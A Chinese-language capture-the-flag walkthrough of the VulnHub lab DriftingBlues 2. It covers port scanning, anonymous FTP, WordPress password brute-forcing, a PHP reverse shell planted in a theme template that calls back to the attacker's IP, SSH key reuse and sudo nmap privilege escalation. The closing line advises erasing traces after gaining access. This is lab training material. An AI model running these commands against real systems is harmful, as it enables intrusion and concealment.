从匿名FTP到Root权限:DriftingBlues 2靶机渗透实战解析
1. 靶机环境搭建与网络扫描
DriftingBlues 2是VulnHub上一个经典的入门级渗透测试靶机,难度标记为"简单",非常适合新手练习从信息收集到提权的完整流程。我们先在VirtualBox中导入靶机镜像,网络模式选择Host-Only,确保攻击机Kali(192.168.9.7)与靶机处于同一局域网。这里有个细节要注意:VirtualBox的Host-Only网卡需要与VMware桥接模式网卡绑定,否则可能出现网络不通的情况。
网络扫描是渗透测试的第一步,我习惯先用四种方式交叉验证:
arp-scan -I eth0 -l快速定位存活主机masscan 192.168.9.0/24 -p 80,22闪电式端口扫描netdiscover -i eth0 -r 192.168.9.0/24可视化主机发现- 终极武器
nmap -A -sV -T4 -p- 192.168.9.23全端口深度扫描
扫描结果显示三个关键端口:
- 21/tcp:ProFTPD服务,支持匿名登录(重大突破口)
- 22/tcp:OpenSSH 7.9p1(后续渗透通道)
- 80/tcp:Apache 2.4.38(Web应用入口)
2. 漏洞枚举与初步渗透
2.1 FTP匿名登录突破
nmap结果中ftp-anon: Anonymous FTP login allowed这行字让我眼前一亮。使用ftp 192.168.9.23连接,用户名填anonymous,密码为空即可登录。里面唯一的文件secret.jpg下载到本地后,用exiftool和binwalk分析却一无所获——这是个典型的干扰项,新手容易在这里浪费时间。
2.2 Web目录爆破与指纹识别
80端口的网页看似空白,但用dirsearch -u http://192.168.9.23/ -e php,html,txt扫描发现关键路径/blog/。这是个WordPress站点,页面源代码里藏了个彩蛋:driftingblues.box这个域名。将其添加到/etc/hosts文件后,页面样式正常加载了。
WPScan是WordPress渗透的瑞士军刀,执行:
wpscan --url http://driftingblues.box/blog/ -e ap,at,u参数说明:
-e ap扫描所有插件-e at扫描所有主题-e u枚举用户
扫描结果曝出用户名albert,用rockyou.txt字典爆破:
wpscan --url http://driftingblues.box/blog/ -U albert -P /usr/share/wordlists/rockyou.txt十分钟后拿到密码"scotland1"。
3. WordPress后台getshell实战
登录WordPress后台后,在"外观-主题编辑器"中找到404.php模板。将Kali自带的php-reverse-shell代码粘贴进去,注意修改连接IP和端口:
<?php $sock=fsockopen("192.168.9.7",6666); exec("/bin/sh -i <&3 >&3 2>&3"); ?>在Kali上启动监听:
nc -lvnp 6666访问不存在的页面触发shell,比如http://driftingblues.box/blog/index.php/test。获得反弹shell后,用Python升级交互式终端:
python3 -c 'import pty; pty.spawn("/bin/bash")'4. 横向移动与SSH私钥利用
在/home目录发现用户freddie,其.ssh文件夹中藏着id_rsa私钥文件。将私钥复制到攻击机后,需要处理三个关键步骤:
- 修正文件权限:
chmod 600 id_rsa - 转换换行符:
dos2unix id_rsa - 连接测试:
ssh -i id_rsa freddie@192.168.9.23
成功登录后找到user.txt第一个flag。检查sudo权限时发现惊喜:
sudo -l User freddie may run the following commands on driftingblues: (ALL) NOPASSWD: /usr/bin/nmap5. Nmap特权升级终极之战
GTFOBins提供了nmap的sudo提权方案,这里我测试了两种可靠方法:
方法一:交互模式提权
sudo nmap --interactive nmap> !sh方法二:脚本执行提权
TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF获得root shell后,经典的python3 -c 'import pty; pty.spawn("/bin/bash")'让终端更稳定,最终在/root目录找到flag2。整个渗透过程涉及FTP匿名访问、WordPress漏洞利用、SSH私钥复用和sudo提权四大技术点,每个环节都值得新手反复练习。记得在真实环境中,获取权限后要及时清理痕迹,保持职业操守。
